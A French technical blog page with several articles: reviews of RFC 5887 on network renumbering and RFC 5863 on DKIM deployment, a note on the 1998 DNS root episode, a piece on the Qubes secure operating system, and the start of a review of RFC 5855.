Une limitation à l'usage du DNS pour garder des identificateurs stables (les noms de domaine) afin de pouvoir changer facilement les adresses IP est la sécurité. Celle du DNS est traditionnellement imparfaite. Au moment de la publication de notre RFC 5887, toutefois, les choses changent nettement puisque le déploiement de DNSSEC bat son plein (la racine du DNS a ainsi été signée quelques semaines avant la publication du RFC).

Encore un cran au dessus de l'utilisation des noms de domaine se trouve la découverte de services dans le DNS. C'est ainsi que SLP (RFC 2608) ou bien des solutions non-standard comme Bonjour permettent de découvrir, par exemple, l'imprimante du réseau local.

Cette section 2 était consacrée aux mécanismes utilisés par les machines non-routeuses. Et sur les routeurs ? La section 3 les étudie. Par exemple, l'option Prefix Delegation de DHCP (RFC 3633) permet d'indiquer à un routeur le préfixe IPv6 qu'il va devoir router (section 3.1). Il existe aussi un mécanisme ICMP, normalisé dans le RFC 2894, mais qui semble n'avoir jamais été déployé. Et le RFC 4191 fournit également un service intéressant d'enrichissement des Router Advertisements d'IPv6.

Le cas spécifique d'IPv6 est traité également en section 4, qui note que, contrairement à son prédécesseur, IPv6 a été prévu dès le début pour une coexistence de préfixes d'adresses sur le même réseau. Cela permet théoriquement des renumérotations plus faciles, en installant le nouveau préfixe sans supprimer l'ancien immédiatement (cf. RFC 4192). En outre, le mécanisme des ULA (RFC 4193) permet d'avoir des adresses locales uniques (ce qui n'est pas possible avec les adresses privées IPv4 du RFC 1918). D'autre part, l'existence des adresses IP temporaires du RFC 8981 fait que les mises en œuvres d'IPv6 sont normalement préparées à des fréquents changements d'adresse, ce qui devrait, en théorie, faciliter les rénumérotations.

Avec tous ces mécanismes, comment se présente en pratique la renumérotation d'un réseau ? La section 5 descend dans le concret en étudiant ce point. Du côté des machines non-routeuses, une première série de problèmes concerne la couche 3 (section 5.1.1). La grande majorité de ces machines obtient son adresse par DHCP et la garde pour la durée du bail. L'administrateur réseau compétent, qui planifie à l'avance, peut donc abaisser la durée du bail lorsque le moment de la renumérotation approche, changer le préfixe, puis remonter la durée du bail. On peut ainsi renuméroter uniquement avec DHCP. Il existe aussi une extension DHCP IPv4, FORCERENEW (RFC 3203) pour forcer une mise à jour immédiate, si on a oublié de planifier. Mais elle semble peu disponible en pratique.

DHCP n'est pas qu'une aide, il peut aussi être lui-même une source de problèmes. Il a actuellement 170 options (!) et certaines transportent des adresses IP, et la configuration de ces options doit être changée en cas de renumérotation.

L'auto-configuration sans état d'IPv6 (SLAAC - StateLess Address AutoConfiguration) permet également une renumérotation facile, d'autant plus qu'elle a moins d'options. Par contre, si on utilise SLAAC et DHCP en même temps (RFC 8415), il faut prendre garde à leur interaction, qui n'est pas normalisée avec suffisamment de précision.

DHCP et SLAAC n'aident pas si les adresses sont marquées en dur dans la machine (par exemple pour éviter de dépendre du serveur DHCP), ou bien si la machine n'a pas de client DHCP. Cela arrive dans le monde de l'embarqué où l'adresse IP doit parfois se configurer par des commutateurs DIP.

DHCP (ou bien SLAAC) permettent de changer facilement l'adresse IP. Mais cela peut perturber les autres couches. Par exemple, TCP identifie une connexion par un tuple qui comprend entre autres les adresses IP source et destination (et la somme de contrôle les utilise donc on ne peut pas facilement les changer dans le dos de TCP). Renuméroter signifie qu'on casse les connexions TCP existantes (section 5.1.2). Ce n'est pas forcément un problème pour HTTP, où les connexions sont en général courtes, mais c'est bien plus gênant pour SSH. D'autres protocoles de transport permettent par contre la renumérotation (SCTP, RFC 4960) mais ils sont peu déployés.

Continuant à grimper vers les couches hautes, le RFC note que le DNS nécessite une attention particulière (section 5.1.3). Si les données servies par le DNS sont produites à partir d'une base de données centrale, l'opération de renumérotation est relativement simple. Il faut toutefois penser à abaisser le TTL à l'avance, pour éviter, une fois le changement fait, que les vieilles informations traînent dans les caches.

Si, par contre, le DNS est géré à l'ancienne, avec des fichiers de zone édités à la main, le DNS devient alors un problème de plus en cas de renumérotation. Si le DNS, comme c'est souvent le cas, est sous-traité, il y aura en plus une étape de coordination avec l'hébergeur.

Ensuite, il y a les problèmes liés aux applications proprement dites, la couche 7 (section 5.1.4). Tous les protocoles applicatifs n'ont pas les mêmes problèmes. Le RFC 3795 avait étudié 257 protocoles IETF et découvert que 34 stockaient explicitement les adresses IP, ce qui les rend peu utilisables en cas de renumérotation. (Le plus connu est FTP, qui passe l'adresse IP dans la commande PORT , section 4.1.2 du RFC 969.) Mais l'analyse des protocoles ne suffit pas, encore faut-il étudier le comportement des applications elle-mêmes. Celles-ci stockent souvent des adresses IP, sans penser qu'elles puissent changer.

Ainsi, beaucoup d'applications font du pinning : elles résolvent le nom en adresse IP une seule fois et ne modifient plus cette information, même si l'adresse IP a changé. À leur décharge, il faut préciser que la routine standard getaddrinfo() ne fournit pas d'information de durée de vie... (Le RFC suggère aux applications de respecter le TTL du DNS en oubliant que getaddrinfo ne le transmet pas. Suivre ce conseil nécessiterait donc que les applications fassent leur propres requêtes DNS.) Idéalement, l'application devrait vérifier la validité de l'adresse (par exemple en refaisant getaddrinfo() à chaque ouverture de connexion avec une machine distante).

Les applications les plus sensibles sont celles qui restent ouvertes longtemps, comme les navigateurs Web. Ceux-ci, en général, sont conscients du problème et ne gardent l'adresse IP que pendant un temps limité mais ils épinglent parfois délibérement cette adresse, pour des raisons de sécurité Javascript (cf. section 8). D'autres applications traitent le problème (ainsi que celui, plus général, d'une connectivité imparfaite) en essayant régulièrement et sur toutes les adresses possibles (les applications pair-à-pair font souvent cela). C'est non-trivial à développer.

Les dépendances des applications vis-à-vis des adresses IP sont souvent pires : par exemple, il existe des mécanismes de licence logicielle où la licence dépend de l'adresse IP... Plus légitimes, il y aussi les cookies HTTP liés à une adresse IP. (L'annexe A donne d'autres exemples.)

Mais le RFC note aussi que, par delà la limite de getaddrinfo() citée plus haut (pas d'information sur la durée de vie d'une adresse), le problème des API est plus général : celles-ci sont en général de trop bas niveau, obligeant les applications à stocker des adresses IP ce qui, en général, ne devrait pas être nécessaire. La traditionnelle API socket, conçue avant même le DNS, est ainsi en tort. Dans le futur, il faut espérer que les programmes utiliseront des API de plus haut niveau, n'exposant pas du tout les adresses IP. C'est typiquement le cas en Java et, en C, il existe des bibliothèques pour cela comme libcurl.

Après les machines non-routeuses, place aux routeurs (section 5.2). Depuis le RFC 2072, où en sommes-nous ? Il y a eu des progrès mais des points soulevés par ce vieux RFC sont toujours d'actualité. Par exemple, pour la configuration des tunnels, bien que l'utilisation d'un nom de domaine pour configurer IPsec soit normalisée (RFC 4306, section 3.5), elle reste peu utilisée. La configuration du routeur contient ainsi les adresses IP des extrémités des tunnels, gênant ainsi la renumérotation.

La section 5.3 parcourt d'autres questions qui ne sont pas liées aux routeurs ou aux machines terminales. Par exemple, la section 5.3.4 est un excellent et très concret examen des problèmes d'administration système. La situation idéale serait que l'information sur les machines, leurs connexions et leurs adresses soient dans une base de données centrale et que tous les fichiers de configuration soient fabriqués automatiquement à partir de cette base. C'est loin d'être la réalité partout et, en pratique, la renumérotation nécessite des grands coups de grep dans /etc (voire ailleurs) pour trouver toutes les occurrences des vieilles adresses IP avant de les changer. Faites l'essai sur votre site : dans combien de fichiers sont stockées vos adresses ? Pour les règles du pare-feu, ou le DNS, vous savez sans doute les trouver. Mais il y a aussi des adresses IP à plein d'endroits surprenants, parfois chez des tiers.

Pourquoi les fichiers de configuration utilisent-ils si souvent des adresses IP lorsque des noms de domaine conviendraient ? Le RFC 1958, section 4.1, disait déjà en 1996 que c'était une mauvaise idée. C'est souvent le pur conservatisme qui empêche d'adopter cette bonne pratique. Mais il y a plusieurs bonnes raisons, l'une d'elles étant que la traduction de nom en adresse IP ne se fait souvent qu'une fois (par exemple, pour un routeur, au démarrage) et qu'il faudra donc de toute façon au moins redémarrer en cas de renumérotation. Une autre raison (RFC 1958, section 3.11), est pratique : si la configuration du routeur utilise des noms, il dépendra du DNS qui lui-même dépend du routage, créant ainsi une dépendance circulaire, source de problèmes.

Autre raison pour laquelle beaucoup d'administrateurs utilisent des adresses et pas des noms : la sécurité (section 5.3.5). Le DNS n'étant pas sûr (cf. RFC 3833), configurer un outil de sécurité, comme le pare-feu, via des noms n'est pas logique. Le déploiement de DNSSEC, plutôt rapide en ce moment, pourrait résoudre cette question.

Il reste bien des questions de sécurité liées à la rénumérotation, dans cette section 5.3.5 (voir aussi la section 8), comme le risque d'annonces de fausses adresses (presque personne n'utilise le RFC 3971) pendant l'opération, le risque lié à un pare-feu mis à jour trop tôt (et il bloquerait les anciennes adresses à tort) ou trop tard (bloquant les nouvelles adresses), les certificats X.509 contenant une adresse IP (RFC 5280)...

Quels sont les mécanismes nouveaux qui sont proposés pour faciliter les futures renumérotations, se demande la section 6 :

  • SHIM6 (RFC 5533) est un mécanisme de multi-homing (avoir plusieurs adresses et les gérer correctement) situé sur la machine non-routeuse, comme HIP, SCTP ou d'autres,
  • Le groupe de travail MANET travaille à des solutions de mobilité pour les réseaux, ce qui résoudrait en même temps la question de la rénumérotation,
  • Des protocoles comme Netconf (RFC 6241) pourraient faciliter les choses, en permettant l'administration centrale et standard des équipements réseau.

Et quels sont les « trous », les points qui manquent pour faire de la renumérotation un évenement banal et simple ? La section 7 les étudie successivement.

Il serait souhaitable, comme indiqué plus haut, que l'API indique la durée de vie d'une adresse (section 7.1). Une interface qui ne manipulerait que des noms serait encore meilleure.

Un moyen standard de stocker et de récupérer la configuration des machines serait également une grande aide (il existe déjà plein de moyens ad hoc et non standards). Cela concerne aussi bien les routeurs que les machines ordinaires, et cela pourrait utiliser Netconf.

Et peut-être pourrait-on étendre UDP et TCP de manière à les rendre multi-adresses (comme l'est SCTP).

Pour les routeurs (section 7.2), déployer enfin les RFC 2894 et RFC 3633 aiderait beaucoup.

Enfin, puisque ce RFC prend soin de ne pas oublier les considérations opérationnelles, la section 7.3 identifie les manques actuels dans ce domaine. D'abord, comme déjà cité, tant que DNSSEC n'est pas largement déployé, il sera difficile d'exiger des administrateurs système qu'ils renoncent à l'usage des adresses IP dans les fichiers de configuration.

Ensuite, nous devons pousser au déploiement de techniques d'administration système plus modernes, dépendant moins de l'édition manuelle de dizaines de fichiers avec vi.

Finalement, il reste à documenter et à écrire de jolis HOWTO sur la renumérotation d'un réseau... (Un exemple est « Preparing network configurations for IPv6 renumbering ».)

Quelques conseils pratiques personnels, tirés de l'expérience de renumérotations réussies ou ratées :

  • Planifiez bien à l'avance, en écrivant un plan et un calendrier. Une maîtrise des aspects temporels est particulièrement nécessaire avec des protocoles comme le DNS, où la vieille information peut être gardée dans les caches.
  • Il peut être intéressant d'utiliser un système d'administration centralisé comme cfengine ou puppet,
  • Pour génerer des fichiers de configuration, si on n'a pas confiance dans le DNS et donc dans les noms, si on hésite à déployer un système complexe avec base de données centrale et tout le toutim, une solution simple et légère est simplement de passer par un préprocesseur, comme cpp ou m4. On peut alors définir la correspondance nom<->adresse au début du script (voire dans un fichier central) et utiliser ensuite des noms dans la configuration.

Sur beaucoup de sites, simplement déterminer tous les endroits où l'adresse IP est marquée peut être difficile. grep aide évidemment beaucoup mais, pour des recherches dans toute une arborescence, je préfère ack-grep, par exemple, avec l'adresse IPv4 actuelle de la machine qui héberge ce blog :

% sudo ack --all 208\.75\.84\.80
apache2/vhosts.d/drupal.example.net.conf
74:     Allow from 208.75.84.80 

conf.d/net
3:config_eth0=( "208.75.84.80 netmask 255.255.255.0 broadcast 208.75.84.255" )

nsd/nsd.conf
17:        ip-address: 208.75.84.80

Pas mal : une renumérotation ne devrait pas être trop dure. Vous noterez que l'adresse IP n'apparait pas dans la configuration du pare-feu : Shorewall la trouve tout seul, supprimant un problème de mise à jour.

En conclusion, une analyse personnelle : l'état de la technique aujourd'hui, avec les grandes difficultés de renumérotation qui existent, justifie amplement l'existence des adresses PI, même si les gros opérateurs, dans leurs forums comme le RIPE-NCC, les regardent souvent comme un luxe. Comme renuméroter est difficile, s'il n'existait que des adresses PA, les utilisateurs auraient beaucoup de mal à changer de fournisseur...


Téléchargez le RFC 5887


L'article seul

Le grand coup d'État du DNS de 1998

Première rédaction de cet article le 27 mai 2010


Tiens, j'ai constaté récemment que le grand coup d'État du DNS en 1998 n'avait laissé que peu de traces dans la mémoire collective de l'Internet. Peut-être parce qu'il date d'une époque avant les blogs, un moteur de recherche ne retrouve pas grande chose. Peut-être aussi parce que le coup a échoué et a prouvé clairement que le gouvernement états-unien était plus fort que la mythique « communauté Internet ».

Heureusement, Phil Regnauld m'a trouvé un article qui contient entre autre le fameux message de Postel demandant la reconfiguration des serveurs racine. On trouve aussi une intéressante discussion sur la liste internet-history, sur ce moment où tout semblait encore possible...

Dans ses messages envoyés après coup, Postel parle d'un « test ». S'il y a eu un test, ce n'était pas un essai technique (aucune technique originale n'a été employée) mais un essai politique, déterminer qui était le plus fort (réponse : l'État).


L'article seul

RFC 5863: DomainKeys Identified Mail (DKIM) Development, Deployment and Operations

Date de publication du RFC : Mai 2010
Auteur(s) du RFC : T. Hansen (AT&T Laboratories), E. Siegel, P. Hallam-Baker (Default Deny Security), D. Crocker (Brandenburg InternetWorking)
Pour information
Réalisé dans le cadre du groupe de travail IETF dkim
Première rédaction de cet article le 27 mai 2010


Le mécanisme de signature (et donc d'authentification) du courrier DKIM a été normalisé dans le RFC 4871 puis dans le RFC 6376. Ce nouveau RFC fait le point sur les aspects pratiques du déploiement de DKIM. Il ne s'agit pas encore vraiment d'un retour d'expérience (DKIM n'est pas encore assez utilisé pour cela) mais plutôt d'une collection de points auxquels il faut prêter attention quand on développe du logiciel DKIM ou quand on déploie DKIM.

La section 2 considère le problème générale d'authentification : que garantit DKIM exactement ? La lutte anti-spam aujourd'hui est unilatérale : le destinataire accepte ou refuse selon ses critères. Ces critères sont arbitraires, souvent absurdes (comme la vérification de l'enregistrement PTR) et produisent aussi bien des faux positifs que des faux négatifs. DKIM tente d'introduire une notion de confiance entre deux parties qui essaient de communiquer. L'expéditeur signe ses messages et, après vérification de sa signature, il peut espérer une délivrance déterministe de ses messages. Bon, cet objectif est loin d'être réalisé, mais c'est l'idée (exprimée en des termes très abstraits, qui sont la marque de l'auteur Philip Hallam-Baker, qui n'est pas toujours facile à suivre).

Donc, DKIM permet d'identifier et d'authentifier une organisation responsable (Responsible Identifier, dit le RFC). Celle-ci peut être précise et affecter une étiquette particulière à différents types de messages (par exemple, pour un vendeur en ligne, le courrier de confirmation des commandes peut etre étiqueté différemment du courrier publicitaire, ce dernier ayant probablement une moins bonne réputation). Bien sûr, cette authentification ne dit pas que le message est véridique, correct ou intéressant. Elle dit simplement que telle organisation en prend la responsabilité (et elle permet de vérifier qu'il n'y a pas d'usurpation). Le dessin de la section 2.1 illustre la complexité des relations entre les différents acteurs.

À noter que, pour DKIM, « le message » inclus les en-têtes comme From: donc DKIM ne garantit pas du tout que le courrier prétendant venir de faispaslemalin@elysee.fr vient vraiment de l'Élysée. (Ce point va probablement dérouter beaucoup d'utilisateurs, cf. section 2.4, qui insiste bien sur le fait que l'identité DKIM peut n'avoir aucun rapport avec les identités existantes dans le message.)

Alors, justement, qui est responsable du message ? Ce point est couvert dans la section 2.2, choix des paramètres. Il en existe plusieurs dans DKIM (s=, d= et i=) et la confusion avait même nécessité la sortie d'un RFC de correction, le RFC 5672. Donc, pour résumer, c'est le paramètre d= qui est le seul obligatoire et qui doit donc être rempli. Voici un exemple d'un message envoyé sur une liste de diffusion, par un utilisateur du domaine assysm.com :

DKIM-Signature: v=1; a=rsa-sha1; c=relaxed; d=cru.fr;
        h=from:sender:reply-to:subject:date:message-id:to:cc:list-id:list-help:list-unsubscribe:list-subscribe:list-post:list-owner:list-archive:in-reply-to:references:resent-date:resent-from:resent-sender:resent-to:resent-cc:resent-message-id:mime-version:content-type:content-transfer-encoding:content-id:content-description; 
        s=lists; i=smtp-fr-request@cru.fr;
        bh=uoq1oCgLlTqpdDX/iUbLy7J1Wic=;
        ...

On n'y voit pas du tout le domaine expéditeur (qui ne signe probablement pas avec DKIM) mais par contre le service de listes de diffusion du CRU, Universalistes, a signé et engagé sa réputation. Le d=cru.fr indique que le CRU est responsable, le i=smtp-fr-request@cru.fr (facultatif) indique une responsabilité plus précise, celle de la liste smtp-fr. Attention, le fait qu'elle ressemble à une adresse de courrier ne doit pas faire illusion, ce n'est pas forcément une adresse utilisable. Il faut résister à la tentation d'analyser ce paramètre, il peut être différent selon les services. Il faut le traiter comme opaque.

Justement, quel nom de domaine choisir pour mettre dans les paramètres ? Comme dans l'exemple précédent, le signeur n'est pas forcément l'auteur, il peut être un fournisseur ou un intermédiaire. La section 2.3 explore en détail la question du choix du nom de domaine. Ainsi, pour une compagnie qui envoie des messages de différents types, la méthode recommandée est d'avoir plusieurs noms (par exemple transaction.example.com pour les messages de confirmation de commande mais newsletter.example.com pour la publicité) mais pas trop. Un seul nom (example.com) ne permettrait pas de distinguer entre la propagande du service Communication et les messages sérieux. Trop de noms et la situation devient confuse et un service ne peut plus bénéficier de la réputation des autres.

Si un fournisseur (ici example.net) gère le courrier et signe pour plusieurs de ses clients, il est logique d'utiliser un nom par client (bigbank.example.net, pornvendor.example.net, viagravendor.example.net, etc). Si l'un d'eux est un spammeur, cela n'affectera pas les autres. Une autre possibilité serait de les classer selon ce qu'ils ont payé (free.example.net, business.example.net et firstclass.example.net).

Après ces problèmes de haut niveau, la section 3 se consacre à une question récurrente dès que la cryptographie est en jeu : la gestion des clés. DKIM n'est pas une PKI classique car la distribution et la « certification » des clés sont toutes les deux faites par le DNS. L'existence d'une signature DKIM valide indique donc finalement que le gérant de la zone DNS en question a authentifié ce message. Mais cela suppose que les bonnes pratiques de sécurité et de cryptographie aient été utilisées partout. Par exemple, si le gérant de la zone DNS gère sa zone via une interface Web en PHP avec injection SQL incluse, son authentification ne vaut plus grand'chose. Même chose s'il laisse trainer la clé privée DKIM n'importe où. La section 3.1 couvre ce dernier cas : protégez vos clés, utilisez un HSM si possible, n'utilisez pas de système de séquestre, etc. À noter, bien que le RFC n'en parle pas, que le destinataire d'un message n'a aucun moyen de savoir si ces bonnes pratiques ont été suivies ou pas par l'expéditeur...

Ensuite, la distribution de la clé publique dans le DNS (section 3.2). Ici, le gérant de la zone doit s'assurer que la zone est raisonnablement sécurisée, et contient bien les bons enregistrements DKIM, ce qui est d'autant plus difficile que le serveur de courrier (qui signe avec DKIM) et le serveur DNS sont souvent gérés par des équipes distinctes. Les deux groupes doivent donc se coordonner soigneusement.

Le DNS n'étant lui-même pas sans failles, l'utilisation de DNSSEC (RFC 4034) est recommandée. Si on utilise les NSEC3 du RFC 5155, il ne faut pas choisir l'option opt-out, qui permettrait l'insertion de clés pirates, par exemple pour des sélecteurs DKIM choisis par l'attaquant.

La complexité est souvent le pire ennemi de la sécurité, or DKIM dispose d'un mécanisme complexe pour permettre des signatures par utilisateur et non plus juste par domaine. Les précautions à prendre lors de l'utilisation de ce mécanisme figurent en section 3.3. Là encore, un des pièges est que le destinataire ne connait pas la politique de gestion des utilisateurs du domaine expéditeur et ne peut donc pas savoir si elle est laxiste ou au contraire très rigoureuse.

Le processus de signature lui-même est ensuite couvert dans la section 4. Le module de signature peut être placé à de nombreux endroits, le plus évident étant le MTA de sortie de l'organisation, ce qui simplifie le déploiement. Par contre, cela offre moins de souplesse, moins de possibilités de réglages que si la signature se fait dans les MUA des utilisateurs. Dans les deux cas, comme la politique de l'organisation va changer au cours du temps, le RFC recommande que les choix (par exemple, quel sélecteur utiliser) soient disponibles dans la configuration plutôt que placés en dur dans le code.

Et la vérification, à l'autre bout, lorsque le message est reçu ? Quels sont les pièges à éviter ? Par exemple, la section 5.1 insiste sur un point : un message dont la signature est invalide doit être traité comme s'il n'avait pas de signature du tout. Il ne doit pas être moins bien traité car la signature invalide peut être due à bien des problèmes, pas toujours sous le contrôle de l'émetteur. (En outre, bien que le RFC n'en parle pas, les risques d'erreur lors de la signature étant nombreux, traiter moins bien les messages avec une signature invalide découragerait les premiers adopteurs de DKIM, en leur faisant payer cher une erreur, qui les ferai mettre après ceux qui n'essaient même pas de signer.) Et le message à signature invalide ne doit pas être mieux traité que celui sans signature car, dans ce cas, les méchants mettraient simplement des signatures invalides dans leurs messages. Donc, le programme de vérification peut traiter plus favorablement les messages à signature valide mais il doit être neutre pour ceux à signature invalide.

Un autre piège, traité très vite et de manière très sommaire par le RFC, est que l'option l= permet de ne signer qu'une partie d'un message et qu'une attaque possible est donc de rajouter du texte à un tel message. Le RFC ne propose pas de solution. On pourrait imaginer un MUA qui n'affiche pas du tout la partie non couverte par la signature, ou bien qui l'affiche d'une manière particulière (en violet sur fond rouge ?).

Un autre piège, conséquences des risques cités plus haut sur la sécurité du DNS et de la clé privée, est qu'un destinataire oublie que la sécurité de DKIM dépend d'un certain nombre de facteurs... qui ne sont pas forcément présents (section 5.3). Par exemple, une signature valide sur un message qui ne l'est pas est possible si l'expéditeur s'est fait copier sa clé privée, ou si son hébergement DNS s'est fait pirater, ou tout simplement si une des procédures de justice privée qui abondent dans le monde des noms de domaine, comme l'UDRP, lui a fait perdre son nom de domaine.

Enfin (mais il existe d'autres pièges, mentionnés dans le RFC), l'existence d'intermédiaires pas toujours respectueux du message (par exemple les MLM) complique encore la vérification, et les conclusions qu'on peut en tirer.

Pour aider les vérificateurs, la section 6 se lance dans une taxonomie des signatures, selon les cas les plus courants. Ainsi, on peut trouver le cas le plus simple et le plus évident, la signature mono-domaine (section 6.1), où l'organisation signe ses propres messages avec son propre domaine. Ainsi, la société Toto, qui détient le domaine toto.example, aura à la fois des From: USER@toto.example et une signature en d=toto.example. Mais il existe aussi des cas plus compliqués comme le cas où la signature est faite par une tierce partie (section 6.3, voir aussi la 7.5), par exemple un « fournisseur de réputation » qui, en signant les messages, « garantirait » la valeur de ces messages. À noter que, pour DKIM, la signature du courrier From: smith@company.example par un d=company.example (signature mono-domaine) ou bien par d=rep-provider.example (signature par un tiers) sont exactement équivalentes : DKIM lui-même ne privilégie pas un cas plutôt qu'un autre.

Puisque plusieurs cas sont possibles, peut-on les combiner et avoir plusieurs signatures DKIM pour un message ? Oui, dit la section 6.5 qui rappelle que, non seulement c'est légal, mais que cela peut être parfaitement raisonnable dans certains cas (par exemple, signature par l'organisation émettrice et par un fournisseur de réputation).

Cela vaut la peine de le répéter : DKIM fournit uniquement un moyen de s'assurer qu'une organisation (identifiée par un nom de domaine) valide un message. DKIM est un mécanisme, pas une politique, et ne dit pas qui doit signer (comme l'indique la section 6, il y a plusieurs possibilités raisonnables) ni ce que le récepteur doit faire lorsqu'un message est signé et valide. La section 7 illustre cette « neutralité » de DKIM par plusieurs exemples d'usages, incluant la publication des politiques de signature par ADSP (RFC 5617).

La très ancienne expérience de la cryptographie dans l'Internet indique qu'il y aura certainement des problèmes avec DKIM. La section 8 cite quelques cas qui seront probablement délicats comme le cas d'une personne en voyage professionnel qui essaie d'envoyer du courrier en passant par le MTA du FAI de son hôtel, qui n'a pas la clé privée de la société de cette personne... Un problème similaire survient avec les services du type « Envoyez cette information à un ami » où le service qui propose cette fonction n'a pas de clé privée correspondant au domaine que l'utilisateur indiquera dans son adresse. DKIM ne fournit pas de solution à ce problème.

Ainsi, même les cas qui semblent simples et banals peuvent provoquer des surprises. La section 8.2 mentionne le problème de l'authentification du courrier d'une organisation, par cette même organisation. Surement, une organisation qui signe tout avec DKIM peut rejeter le courrier entrant qui prétend venir d'elle, mais qui n'a pas de signature ? Mais c'est plus compliqué que cela, en raison des programmes qui modifient les messages (et peuvent invalider une signature), ainsi qu'en raison des messages envoyés par le VRP itinérant cité plus haut.

Certains choix peuvent rendre l'utilisation de DKIM encore plus difficile. Par exemple, l'authentification par utilisateur, quoique parfois citée par certains enthousiastes partisans de DKIM, risque fort d'être peu praticable, pour les raisons expliquées en section 8.3 : il y a peu d'intérêt à maintenir une base de réputation par utilisateur (on peut imaginer un récepteur qui fasse confiance au courrier d'amazon.com, on a plus de difficulté à concevoir un récepteur qui fasse confiance à smith@amazon.com mais pas à jones@amazon.com), et le coût d'une telle signature par utilisateur (distribuer les clés, garantir leur sécurité, les mettre à jour) serait énorme.

Et les logiciels ? Après tout, ils sont en première ligne dans le déploiement de DKIM et plus d'une mesure de sécurité a été annulée par un mauvais logiciel. Les sections 8.4 et 8.5 rassemblent les analyses sur le rôle desdits logiciels. Par exemple, l'usage des MUA pour signer est découragé, car les MUA ne sont pas en général sous le contrôle direct de l'organisation, contrairement aux MTA, et sont souvent situés sur des machines compromises.

Enfin, pour continuer dans les conseils pratiques, notons l'annexe A 3, qui détaille comment réaliser une migration DKIM propre, depuis un algorithme de signature DKIM (RSA est le seul normalisé dans le RFC 6376) vers un autre et l'annexe B qui rappelle les principes généraux de programmation d'une application cryptographique sûre. Par exemple, sur une machine à mémoire virtuelle, le programmeur devrait s'assurer que la clé privée, stockée en mémoire, ne se retrouve pas dans le swap à un endroit où d'autres processus pourraient la lire (pour cela, le programmeur peut, par exemple, utiliser mlock() sur Unix.) Notre RFC recommande fortement d'utiliser des bibliothèques cryptographiques existantes et éprouvées, plutôt que de se croire capable d'en inventer une nouvelle.

Le ricaneur notera que l'IETF ne s'est mise à utiliser son œuvre qu'en juillet 2011. Désormais, les messages émis par les serveurs de courrier de l'IETF arborent fièrement la signature DKIM :

DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/simple; d=ietf.org; s=ietf1;
        t=1311614276; bh=qLpIZcZ8XeP5xTrgVPRjnXlZjXWiz9DqXpACtarsL0Q=;
        h=Date:From:To:Subject:Message-ID:MIME-Version:List-Id:
        List-Unsubscribe:List-Archive:List-Post:List-Help:List-Subscribe:
        Content-Type:Content-Transfer-Encoding:Sender;
        b=ppseQobrat1rQ+Brsy2LSpMAA79YgaFJ7PK2EG1N4w0zS2IZBqDQiXYHJxG/wv4wl
        GOd42GtThBVxB5BmBhkTn8M1Rqz+ZhW2pLPlcI1zHcmLmJHLMt1wC6R3wiCi4bipVd
        CszNeb58HSYGNDQmvnW9dAxi38pL/kjunJTpmVT4=

Téléchargez le RFC 5863


L'article seul

Le système d'exploitation Qubes ; plus sûr ?

Première rédaction de cet article le 25 mai 2010
Dernière mise à jour le 26 mai 2010


La sécurité du PC de M. Michu, lorsque ce PC est connecté à l'Internet, est très menacée, c'est bien connu. Dès que M. Michu surfe, lit son courrier (« Enlarge your penis and make money fast!!! »), ou télécharge une vidéo, son PC est infecté, son numéro de carte bleue est transmis à la division financière de l'APL, ses données personnelles aux spammeurs ukrainiens et sa machine, devenue un zombie, va participer aux attaques DoS contre le site Web de Chantal Jouanno. Peut-on améliorer la sécurité de ce pauvre ordinateur par des moyens techniques, par exemple par de meilleurs systèmes d'exploitation ? C'est ce que pensent les promoteurs du système Qubes.

Une grande partie de la vulnérabilité du PC de M. Michu vient du système d'exploitation utilisé, MS-Windows, véritable nid à malware, notamment par l'absence de protections sérieuses (celles qui existent, par exemple la séparation du rôle Administrateur, ne sont souvent pas utilisées). A priori, faire plus sûr que Windows ne semble pas un exploit insurmontable.

Néanmoins, le problème est plus complexe que cela. Imaginons qu'on remplace MS-Windows par un système sérieux, par exemple un Unix. Certes, le piratage du compte de M. Michu ne donnera pas au pirate l'accès root. Mais une faille dans le navigateur (et le navigateur, étant une usine à gaz très complexe, a forcément des failles) donnera quand même accès à Facebook, aux comptes bancaires, etc.

Il existe aujourd'hui des dizaines de projets de recherche sur ce thème des « systèmes d'exploitation sûrs ». Certains ne dépasseront pas le stade du vaporware (cela sera sans doute le cas d'Ethos : plus il y a de PowerPoint, moins il y a de réalisations concrètes). Tous reposent sur l'idée de virtualisation et de compartimentalisation du système en plusieurs sous-systèmes relativement étanches entre eux. L'idée est que M. Michu surfera sur des sites de cul depuis une VM (machine virtuelle), accèdera à Facebook depuis une autre, se connectera à sa banque depuis une troisième, etc. Ainsi, la compromission de la VM « sites de cul » n'entrainera pas d'attaques sur le compte en banque. Ce concept se rapproche de celui utilisé dans le domaine militaire avec la séparation des ressources selon leur niveau de sécurité (« Très secret », « Secret », « Confidentiel », etc). Vouloir faire du logiciel sans bogues étant illusoire, le travail se concentre sur la limitation des dégâts en cas de bogue.

Sur le papier, c'est très séduisant. Dans la pratique, toute la difficulté est de permettre quand même une communication entre les VM. Car, sinon, on ne pourra pas envoyer une image depuis la VM « sites de cul » vers la VM « réseaux sociaux ». Et beaucoup de bonnes idées en terme de sécurité ont été des échecs car on ne prêtait pas suffisamment attention à l'utilisabilité.

Le système Qubes, fondé sur Linux pour le noyau et Xen pour la virtualisation, s'attaque à ce problème en prévoyant une interface graphique partagée par toutes les VM mais avec une communication sous-jacente passant par un protocole nouveau, très simple et mis en œuvre par du code sévèrement audité. L'article « Qubes OS architecture » décrit l'architecture générale de Qubes, avec beaucoup de détails pratiques (contrairement à d'autres projets qui n'ont fait que des conférences de presse).

Cette compartimentalisation laisse un autre problème, encore plus difficile : une VM infectée peut être dangereuse pour l'Internet, même si elle ne peut pas attaquer les autres VM.

Outre le site officiel, les curieux trouveront une bonne introduction dans l'interview de Joanna Rutkowska, une des conceptrices (et une experte en attaques contre les processeurs), les développeurs trouveront plus de détails à jour sur le Trac. Un excellent exemple de découpage d'une installation Qubes en domaines de sécurité variée est donné dans « Partitioning my digital life into security domains ». Autre document intéressant, un interview de Joanna Rutkowska. Un très bon compte-rendu d'essaie de Qubes a été publié sur LinuxFr.


L'article seul

RFC 5855: Nameservers for IPv4 and IPv6 Reverse Zones

Date de publication du RFC : Mai 2010
Auteur(s) du RFC : J. Abley (ICANN), T. Manderson (ICANN)
Première rédaction de cet article le 24 mai 2010
Dernière mise à jour le 18 février 2011


Tous les RFC ne décrivent pas forcément une norme technique. Certains sont de nature plus opérationnelle et c'est le cas de de ce document, qui décrit le nouveau schéma de nommage des serveurs DNS de in-addr.arpa et ip6.arpa.

